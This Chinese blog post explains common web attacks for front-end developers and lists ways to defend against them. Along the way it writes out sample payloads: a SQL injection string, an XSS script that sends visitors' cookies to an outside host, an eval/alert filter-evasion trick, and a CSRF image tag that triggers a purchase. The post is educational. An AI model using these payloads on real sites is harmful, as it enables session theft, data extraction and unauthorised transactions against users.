相信进来的时候你已经看到alert弹窗,显示的是你cookie信息(为配合博客园要求已删除)。单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服——没人看得到,自然也不算啥恶意行为。那么如果我把你的信息通过脚本发送到我的服务器保存起来呢?先放心,我不打算这么做,也没那笔闲钱去购置一个服务器来做羞羞的事情,也不希望博客园把我这地盘给封掉了。

如同标题所写的,今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果感兴趣,看一看也无妨。

先不说上面的“通过脚本把信息发送给服务器”是什么情况,我们先来聊一聊WEB基本攻击有哪些。

WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。

资源枚举

有时候受前人(技术前辈也好,你所接任的上一位员工也好)的影响,我们可能会约定成俗地去做某件事情,比如用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释,这样会让你的团队工作更加规范。然后有一天要给项目做备份了,就直接把该项目压缩为rar文件,命名为什么呢?首选的自然是“bak.rar”,你看数据库的备份的形式不也是.bak嘛。

于是乎,如果压缩包所在的地址是可访问的,那么所有人都可以轻松地下载到这个"bak.rar"文件,你的项目也不存在什么小秘密了(即使夏天夏天悄悄地过去)。

这就是“资源枚举”,别有用心的人会遍历你站点所有可访问的目录,然后把一些常见的备胎文件名(比如“sql.bak”、“index-副本.html”)一个个都枚举一下,如果运气好枚举到了就直接下载。

于是跟随主流在这里不是好的事情,对于重要的东西,要么放在外人不可访问的地方,要么应当给它起一个不那么好猜的名字。

资源枚举也不仅仅局限于瞎找东西,聪明的人会利用线索来更好地猜东西。

假设有一个站点走的伪静态的高冷路线,不想让别人知道它所使用的语言和数据库,但没有配置好后端错误信息的提示。那么“别有用心”的朋友就可以在这个站点里的某个搜索结果页面篡改url参数,导致数据库查询错误而返回数据库错误信息页面,或者输入一个根本不存在的子页面地址来获取错误信息,进而可判断该站点到底用的是什么数据库或动态语言。

参数操纵

这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。

SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。

比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:

book.com/book?id=100

说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:

select * from booktable where id='100'

那么如果我们把url更改为

book.com/book?id=100'or'1'='1

那么数据库操作执行就变成了:

select * from booktable where id='100'or'1'='1'

从而取出了整个booktable 表单的全部数据。

XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体可看这里

cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以看下这里

对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。

XSS(cross-site scripting跨域脚本攻击)攻击也是最常见的WEB攻击之一,其重点是“跨域”和“客户端执行”。我们还是拿那个图书馆网站book.com来调侃下。

假设页面右上角有一个搜索书籍的地方,你随便输入一本压根就没有的书,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:

您搜索的书籍“有钱任性指南”不存在

好的,那我们输入这个怎样:

<script>alert('没有书开个毛线书店啊')</script>

假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。

但是这样不好玩,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:

<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!

小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:

book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。

与其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻击。拿我现在工作的项目做比方——为用户提供免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本,从而植入悬浮广告(当然你可以关闭它),这貌似没什么,但如果插入的脚本是获取你敏感数据的恶意脚本那就不一样了。像这种直接存在于页面,无须经过服务器返回脚本处理就直接跨域发送用户信息的行为就是基于本地的XSS攻击。

还有最后一种称为“Stored XSS”——基于存储的XSS攻击。它是通过贴吧啊博客园啊等地方来发表带有恶意跨域脚本的帖子或文章,从而把恶意脚本存储在里面,每个访问该帖子/文章的人就会中招。

还记得一开始加载本文章的alert弹窗么?假设博客园对文章进行了过滤,把全部“alert”啊、"eval"啊等敏感字符都过滤掉,那我们怎么办?我们可以这样:

<script type="text/javascript">
var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("欢迎收看本文章")';
y[x]['call'](this,e);
</script>

照样实现我们想要的弹窗无误。

对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!

会话劫持

百度百科有个很有意思的引喻——“在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?”

这个比喻很有意思,我们常规访问一个http网站时是与其服务器建立了一次HTTP会话。假设你宿舍楼的“朋友”都跟你处于同一个子网上,其中有人想伪装成你来劫持你的HTTP会话,那么服务器会把菜,哦不,是信息返回给那个人吗?

答案是肯定的,因为HTTP会话并不安全。它在经过TCP/IP协议封装传输数据时,在传输的数据的每一个字节中插入一个32位的序列号码,这个序列号用来保持跟踪数据和提供可靠性(序列号是依循数据顺序逐步递增的)。第三方攻击者可以通过嗅探的方式来获取用户与服务器通讯中的报文信息,如果他能猜测到数据中的序列号,那便能把合法的用户断开,伪装成合法用户让自己控制后续的通话。

对于会话劫持的预防,可以走SSH协议、增强网络安全系统健壮性,也可以使用无序的UUID来替代通讯中的序列号码(而非逐步递增)。

其它攻击

其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。

CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。

依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。

那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:

<img src='http://book.com/pay?bookid=100'/>

img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。

相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。

对于CSRF攻击,我们所能做的可以有:

1. 检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);

2. 对于任何重要的请求都需要重新验证用户的身份;

3. 创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。

钓鱼攻击指的是网站的伪造,比如ta0bao.com,然后在其中应用XSS等方式发起攻击。

拒绝服务(DoS)指的是向网站发起洪水一样的请求(Traffic Floor),导致服务器超负荷并关闭,处理方法常规是采用QoS(Quality of Service)的软硬件解决方案。

攻击层面

攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:

一. 传统WEB应用程序

1. 表单输入(甚至包括hidden控件的内容);

2. cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);

3. 报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)

4. 请求参数

5. 上传文件(在文件内携带恶意代码)

二. Web服务

1. 上述“传统WEB服务”的全部方法;

2. WSDL文档(暴露了服务端的每个方法及其使用方式)

三. AJAX应用程序

即上述的“一”和“二”的合集

解决方案

综上所述,我们可以这样审视我们的WEB站点:

1. 永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;

2. 谨慎返回用户输入的信息;

3. 使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);

4. 检查、验证请求来源,对每一个重要的操作都进行重新验证;

5. 使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);

6. 不要将重要文件、备份文件存放在公众可访问到的地方;

7. 会话ID无序化;

8. 对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);

9. WSDL文档应当要求用户注册后才能获取;

10. 在报头定义CSP(Content Security Policy);

11. 。。。

虽然我们有一些必要的手段来防止WEB攻击,但永远不会有一枚silver bullet来彻底解决问题,先不谈那些数不胜数的已知的、可被攻击的漏洞,对于谜一样的0-day漏洞,我们所能做的只是提前发现并及时修补它们。

今天要唠嗑的就是这些,写着写着不知不觉就午夜了。共勉~

浅谈WEB安全性(前端向)的更多相关文章

  1. 【架构】浅谈web网站架构演变过程

    浅谈web网站架构演变过程   前言 我们以javaweb为例,来搭建一个简单的电商系统,看看这个系统可以如何一步步演变.   该系统具备的功能:   用户模块:用户注册和管理 商品模块:商品展示和管 ...

  2. 转:浅谈CSS在前端优化中一些值得注意的关键点

    前端优化工作中要考虑的元素多种多样,而合理地使用CSS脚本可以在很大程度上优化页面的加载性能,以下我们就来浅谈CSS在前端优化中一些值得注意的关键点: 当谈到Web的“高性能”时,很多人想到的是页面加 ...

  3. 浅谈web应用的负载均衡、集群、高可用(HA)解决方案(转)

    1.熟悉几个组件 1.1.apache     —— 它是Apache软件基金会的一个开放源代码的跨平台的网页服务器,属于老牌的web服务器了,支持基于Ip或者域名的虚拟主机,支持代理服务器,支持安 ...

  4. [原创]浅谈Web UI自动化测试

    [原创]浅谈Web UI自动化测试 Web UI自动化测试相信大家都不陌生,今天来谈谈这个,我最早接触自动化测试时大约是在2004年,2006年当时在腾讯财付通算是开始正式接触自动化测试,之所以是正式 ...

  5. 浅谈|WEB 服务器 -- Caddy

    浅谈|WEB 服务器 -- Caddy 2018年03月28日 12:38:00 yori_chen 阅读数:1490 标签: caddyserverwebhttps反向代理 更多 个人分类: ser ...

  6. 浅谈Web自适应

    前言 随着移动设备的普及,移动web在前端工程师们的工作中占有越来越重要的位置.移动设备更新速度频繁,手机厂商繁多,导致的问题是每一台机器的屏幕宽度和分辨率不一样.这给我们在编写前端界面时增加了困难, ...

  7. 浅谈web前端安全

    单纯地在你的客户端弹出信息只是类似于迫使你在自己的房间脱衣服--没人看得到,自然也不算啥恶意行为.那么如果我把你的信息通过脚本发送到我的服务器保存起来呢?先放心,我不打算这么做,也没那笔闲钱去购置一个 ...

  8. 浅谈WEB跨域的实现(前端向)

    同源策略/SOP(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,浏览器很容易受到XSS.CSFR等攻击(可以参考我的这篇文章). SOP要求 ...

  9. 浅谈web前端就业的学习路线

    初级前端 主要学习三个部分:HTML,CSS,JavaScript 一.html + css部分: 这部分特别简单,到网上搜资料,书籍视频非常多.css中盒子模型,流动,block,inline,层叠 ...

随机推荐

  1. Datazen地图Chart介绍

    本篇主要介绍Datazen对于地图图表的支持,这里你可以看到Datazen目前所支持的地图图表类型,以及其自带的地图数据. Datazen下地图图表跟其它Dashboard的类型是一样的. 创建一个新 ...

  2. meta 详解,html5 meta 标签日常设置

    <!DOCTYPE html> <!-- 使用 HTML5 doctype,不区分大小写 --> <html lang="zh-cmn-Hans"&g ...

  3. openmp 的使用

    http://blog.csdn.net/gengshenghong/article/details/7003110 说明:这部分内容比较基础,主要是分析几个容易混淆的OpenMP函数,加以理解. ( ...

  4. ajax返回json数据,对其中日期的解析

    JS 对其格式化 方法如下 function ChangeDateFormat(d){ //将时间戳转为int类型,构造Date类型 var date = new Date(parseInt(d.ti ...

  5. 背压(Backpressure)机制

    作者:张铁蕾链接:https://www.zhihu.com/question/49618581/answer/117107570来源:知乎著作权归作者所有,转载请联系作者获得授权. 首先,从大的方面 ...

  6. 深入理解JavaScript运行机制

    深入理解JavaScript运行机制 前言 本文是写作在给团队新人培训之际,所以其实本文的受众是对JavaScript的运行机制不了解或了解起来有困难的小伙伴.也就是说,其实真正的原理和本文阐述的并不 ...

  7. [VijosP1656]萌萌赶考 题解

    题目大意: 有一个地图,有障碍,不能重复经过一点(但起点可以),判断能否恰好在t时刻从起点到达终点. 思路: 一开始DFS一遍,30分,于是要有优化减枝.最重要的是从起点到终点的距离的奇偶性是与起点与 ...

  8. Python列表和元组

    Python是没有数组的概念,但是和数组比较相近的概念是列表和元素. 下面两个例子展示列表和元组. # coding=utf-8 # 元组 students = ('小明', '小黄', '小李', ...

  9. Hive函数大全

    一.关系运算: 1. 等值比较: = 语法:A=B 操作类型:所有基本类型 描述: 如果表达式A与表达式B相等,则为TRUE:否则为FALSE 举例: hive> select 1 from l ...

  10. Selenium_IEDriver操作sendkeys输入速度太慢

    通过调用64位IEDriverServer来操控sendkeys方式时,输入速度非常慢.网上说是64位有bug. 解决办法: 使用32位IEDriverServer.